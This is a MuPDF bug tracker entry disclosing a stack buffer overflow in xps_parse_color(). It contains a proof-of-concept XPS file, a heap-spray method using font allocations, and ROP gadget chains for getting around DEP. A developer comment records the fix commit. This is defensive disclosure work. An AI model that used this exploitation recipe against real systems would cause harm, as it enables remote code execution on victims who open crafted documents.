Bug 694957

Summary: Stack-Based Buffer Overflow in xps_parse_color()
Product: MuPDF Reporter: Jean-Jamil Khalifé <jean>
Component: mupdfAssignee: MuPDF bugs <mupdf-bugs>
Status: RESOLVED FIXED    
Severity: major CC: tor.andersson, zeniko
Priority: P4    
Version: master   
Hardware: PC   
OS: Windows 7   
Customer: Word Size: ---
Attachments: Exploit for this vulnerability (launches calc.exe)

Description Jean-Jamil Khalifé 2014-01-16 12:35:26 UTC
Created attachment 10600 [details]
Exploit for this vulnerability (launches calc.exe)

----------------------------------------------------------------------------------------
== 0day - MuPDF Stack-based Buffer Overflow 		==
----------------------------------------------------------------------------------------
# Title : 0day - MuPDF Stack-based Buffer Overflow
# Date found: 2013-01-26
# Software Links: http://www.mupdf.com/ ; http://en.wikipedia.org/wiki/MuPDF
# Version: <= 1.3
# Author: Jean-Jamil Khalifé
# Tested on: Windows XP SP3 (fr) / Windows 7 x64 (fr)
# Home: http://www.hdwsec.fr

Introduction :
-------------------
I was recently looking for an opensource cpp lightweight PDF and XPS viewer to play with and I found MuPDF.
So I decided to have some fun during my free time and took a look at the source code of this product and quickly checked it out to verify if some vulnerabilities were present or not.
After about two hours, I found a dos and a stack overflow. This second vulnerability finally leads to a remote code execution when a user opens a malicious XPS document.

Analysis :
--------------
When MuPDF loads the XPS document, it loads the first page and parses each element via xps_parse_element() as detailed in the XPS specification ( http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-388.pdf ),
When the crash occurs, the call stack looks like this :

<code>
mupdf.exe!xps_parse_path
mupdf.exe!xps_parse_element
mupdf.exe!xps_parse_fixed_page
mupdf.exe!xps_run_page
mupdf.exe!fz_run_page_contents
mupdf.exe!pdfapp_loadpage
</code> 

<code>
void
xps_parse_element(xps_document *doc, const fz_matrix *ctm, const fz_rect *area, char *base_uri, xps_resource *dict, fz_xml *node )
{
		.............
	if (!strcmp(fz_xml_tag(node), "Path"))
		xps_parse_path(doc, ctm, base_uri, dict, node);
	if (!strcmp(fz_xml_tag(node), "Glyphs"))
		xps_parse_glyphs(doc, ctm, base_uri, dict, node);
		.............
}
</code>

In this case, the Path element is parsed via the xps_parse_path() function which allows extraction of the attributes and extended attributes (Clip, Data, Fill, ...).
If some conditions are fulfilled, we can trigger a stack overflow in the xps_parse_color()  function when it parses the value "ContextColor" of the attribute "Fill".

<code>
void
xps_parse_path(xps_document *doc, const fz_matrix *ctm, char *base_uri, xps_resource *dict, fz_xml *root)
{
	fz_stroke_state *stroke = NULL;
	fz_matrix transform;
	float samples[32];
	fz_colorspace *colorspace;
	fz_path *path;
	fz_path *stroke_path = NULL;
	fz_rect area;
	int fill_rule;
	int dash_len = 0;
	fz_matrix local_ctm;
	.......
	fill_att = fz_xml_att(root, "Fill");
	.......
	if (fill_att)
	{
		xps_parse_color(doc, base_uri, fill_att, &colorspace, samples);
		if (fill_opacity_att)
			samples[0] *= fz_atof(fill_opacity_att);
		xps_set_color(doc, colorspace, samples);

		fz_fill_path(doc->dev, path, fill_rule == 0, &local_ctm,
			doc->colorspace, doc->color, doc->alpha);
	}
	.......
}
</code>

This function is in charge of getting all the floating numbers of ContextColor and putting them into the samples[32] buffer. The issue is that it does it without controlling the size of this array.

<code>
void
xps_parse_color(xps_document *doc, char *base_uri, char *string, fz_colorspace **csp, float *samples)
{
	.............
	else if (strstr(string, "ContextColor ") == string)
	{
		fz_strlcpy(buf, string, sizeof buf);
		profile = strchr(buf, ' ');
		if (!profile)
		{
			fz_warn(doc->ctx, "cannot find icc profile uri in '%s'", string);
			return;
		}
		*profile++ = 0;
		p = strchr(profile, ' ');
		if (!p)
		{
			fz_warn(doc->ctx, "cannot find component values in '%s'", profile);
			return;
		}
		*p++ = 0;
		n = count_commas(p) + 1;
		i = 0;
		while (i < n)
		{
			samples[i++] = fz_atof(p);
			p = strchr(p, ',');
			if (!p)
				break;
			p ++;
			if (*p == ' ')
				p ++;
		}
	}
	.............
}
</code>

This is the assembly code from the compiled C code above :
<code>
.text:0047C590 loc_47C590:
.text:0047C590                 push    esi             ; char *
.text:0047C591                 call    fz_atof				// convert into float
.text:0047C596                 fstp    dword ptr [edi+ebx*4]
.text:0047C599                 add     esp, 4
.text:0047C59C                 push    2Ch             ; int
.text:0047C59E                 push    esi             ; char *
.text:0047C59F                 add     ebx, 1
.text:0047C5A2                 call    _strchr				// search next comma
.text:0047C5A7                 mov     esi, eax
.text:0047C5A9                 add     esp, 8
.text:0047C5AC                 test    esi, esi			// check if the returned pointer is null
.text:0047C5AE                 jz      short loc_47C5C1
.text:0047C5B0                 add     esi, 1
.text:0047C5B3                 cmp     byte ptr [esi], 20h		// trim potential space
.text:0047C5B6                 jnz     short loc_47C5BB
.text:0047C5B8                 add     esi, 1
.text:0047C5BB
.text:0047C5BB loc_47C5BB:
.text:0047C5BB                 cmp     ebx, ebp			// check only the number of comma (oops... no test for the samples size)
.text:0047C5BD                 jl      short loc_47C590
</code>

This is an example of a proof-of-concept test case that triggers the overflow :
<code>
<FixedPage Width="793.76" Height="1122.56" xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und">
	<Path Data="" Fill="ContextColor  1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47" />
</FixedPage>
</code>

Exploitation :
-------------------
I decided to use the latest version of the executable provided on the official website.
Software : MuPDF v1.3
Tested on : Windows XP SP3 (fr) / Windows 7 x64 (fr)

1) It doesn’t matter if the executable is compiled with /GS (this is the case on mupdf.exe). The reason is that the stack concerns a float array and an old version of Visual Studio doesn't add security cookies in this case.
If it was the case the vulnerability would be more difficult to exploit. We can't erase the SEH because of the small stack buffer but depending on the concerned software, it maybe possible to replace interesting variables or structures values to control the EIP.

2) Given that « samples » is a float array, we have to make our payload fit into an array of floats.
The size of the temporary buffer is limited to 0x400 bytes as can be seen in fz_strlcpy(...). As said above, we have to make our payload fit into an array of floats. For this reason it's important that each float has a long ansi size (about 22 bytes), otherwise it could be not precise enough to get the real 4-bytes values. So, 1024 / 22 = 46 * 4 bytes = 184 bytes (not enough to put our shellcode).
Here is an example :
<FixedPage Width="793.76" Height="1122.56" xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und">
	<Path Data="" Fill="ContextColor  7.738695572473460e+033,7.738695572473460e+033,7.813604562190658e+033,7.188661121986312e-043,7.861639730565029e+033,8.968310171678829e-044, ...... and so on. />
</FixedPage>

3) We need to write our shellcode into the heap, so maybe we could put a stack pivot to return at the beginning of the stack buffer, process the ROP chain and then do an egg hunter to execute the shellcode from the heap but there is a much nicer solution.
It's possible to trigger multiple aligned allocations into the heap, even if we can't use javascript scripting routine. I used the "font" attribute to allocate binary data, controlling the size for each of them else it's not possible to make precise allocations. So we can now put the ROP and shellcode directly at 0x0c0c0c0c.
If we take a look at the assembly code, the functions displayed below are used to do most of the allocations of elements and resources :

<code>
.text:00421BCC loc_421BCC:
.text:00421BCC                 mov     edi, [esp+18h]
.text:00421BD0                 mov     eax, [esi+44h]
.text:00421BD3                 call    sub_40F730
.text:00421BD8                 mov     edi, [esp+1Ch]
.text:00421BDC                 lea     ebx, [edi+1]		// ebx = 0x100000 (1mo)
.text:00421BDF                 test    ebx, ebx			// check the size
.text:00421BE1                 mov     [ebp+0], eax
.text:00421BE4                 mov     [ebp+4], edi
.text:00421BE7                 mov     esi, [esi+44h]
.text:00421BEA                 jnz     short loc_421BFD
.text:00421BEC                 xor     eax, eax
.text:00421BEE
.text:00421BEE loc_421BEE:                             ; CODE XREF: .text:00421C06_j

					.......

.text:00421BFD
.text:00421BFD loc_421BFD:                             ; CODE XREF: .text:00421BEA_j
.text:00421BFD                 mov     eax, esi
.text:00421BFF                 call    do_scavenging_malloc		// go malloc
.text:00421C04                 test    eax, eax
.text:00421C06                 jnz     short loc_421BEE
.text:00421C08                 push    ebx
.text:00421C09                 push    offset aMallocOfDBytes ; "malloc of %d bytes failed"
.text:00421C0E                 lea     ecx, [eax+1]
.text:00421C11                 call    sub_40FAD0
</code>

No particular check is made except if the size is null or zero. Obviously, if it's zero, the function returns null.
ebx contains the size of our block (0x100000).

<code>
.text:0040F450 do_scavenging_malloc proc near
.text:0040F450                 push    ecx
.text:0040F451                 push    esi
			...

.text:0040F470
.text:0040F470 loc_40F470:                             
.text:0040F470                 mov     eax, [esi]
.text:0040F472                 mov     ecx, [eax]
.text:0040F474                 mov     edx, [eax+4]		// & _sub_40F7A0()
.text:0040F477                 push    ebx			// size = 0x100000
.text:0040F478                 push    ecx
.text:0040F479                 call    edx			// call _sub_40F7A0()
</code>

As we can see, __cdecl sub_40F7A0 is dynamically resolved and then called with the size argument filled in ebx before.

<code>
.text:0040F7A0 ; int __cdecl sub_40F7A0(int, size_t)
.text:0040F7A0
.text:0040F7A0                 mov     eax, [esp+arg_4]
.text:0040F7A4                 push    eax             ; size_t
.text:0040F7A5                 call    _malloc			// do HeapAlloc() of our font size
.text:0040F7AA                 add     esp, 4
.text:0040F7AD                 retn
.text:0040F7AD sub_40F7A0      endp
</code>

Finally, our font allocations are done and will remain without being freed.
Practically, we need to generate many font files containing our binary data into a folder and write the path of each of them into the page file using FontUri attribute of Glyphs like shown below to load them.

<code>
<FixedPage Width="793.76" Height="1122.56" xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und">
	<Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-0.ttf" FontRenderingEmSize="16"/>
	<Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-1.ttf" FontRenderingEmSize="16"/>
	<Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-2.ttf" FontRenderingEmSize="16"/>
	...
	<Path Data="" Fill="ContextColor  5.962129799535157e-039,7.421697056603529e-039,7.334452214214666e-039, ... />
</FixedPage>

</code>
4)It now only remains to find a solution to bypass DEP. ASLR can be bypassed in this case because mupdf.exe isn't ASLR compiled.
 * A stack pivot will allow executing the ROP from the heap
<code>
0x005000a7 : # XOR EAX,EAX # POP ESI # RETN
0x0C0C0C0C : 0x0C0C0C0C
0x00453eaa : # ADD EAX,ESI # POP ESI # POP ECX # RETN
0x0C0C0C0C : 0x0C0C0C0C
0x0C0C0C0C : 0x0C0C0C0C
0x0047033d : # XCHG EAX,ESP # POP EBP # POP ESI # POP EBX # RETN
</code>

  * The ROP chain is based on mupdf.exe (which is non-ASLR). In this case, it appears that only VirtualAlloc is necessary to bypass DEP.
<code>
0x0040ebfe,	# POP EAX # RETN
0x0050d0ac,	# ptr to &VirtualAlloc()
0x004fdd78,	# MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN
0x41414141,	# Filler (compensate)
0x00408e96,	# XCHG EAX,ESI # RETN
0x004baf26,	# POP EBP # RETN
0x0046521a,	# & call esp
0x00421d9e,	# POP EBX # RETN
0x00000001,	# 0x00000001
0x004fff88,	# POP EDX # RETN
0x00001000,	# 0x00001000
0x0048ab04,	# POP ECX # RETN
0x00000040,	# 0x00000040
0x00472066,	# POP EDI # RETN
0x00500681,	# RETN (ROP NOP)
0x0050be74,	# POP EAX # RETN
0x90909090,	# NOP
0x004d99ac,	# PUSHAD # RETN
</code>

Conclusion :
------------------
The MuPDF library is vulnerable to a stack overflow and could be exploited in this case because of two conditions :

1) the binary is non-aslr compiled allowing us to easily get a ROP chain and bypass DEP protection

2) it was compiled with /GS, maybe with an old version of Visual Studio which doesn't protect arrays of floats with stack cookies.
Comment 1 zeniko 2014-01-16 13:18:37 UTC
Fixed by:

commit 60dabde18d7fe12b19da8b509bdfee9cc886aafc
Author: Simon Bünzli <zeniko@gmail.com>
Date:   Thu Jan 16 22:04:51 2014 +0100

    Bug 694957: fix stack buffer overflow in xps_parse_color

    xps_parse_color happily reads more than FZ_MAX_COLORS values out of a
    ContextColor array which overflows the passed in samples array.
    Limiting the number of allowed samples to FZ_MAX_COLORS and make sure
    to use that constant for all callers fixes the problem.

    Thanks to Jean-Jamil Khalifé for reporting and investigating the issue
    and providing a sample exploit file.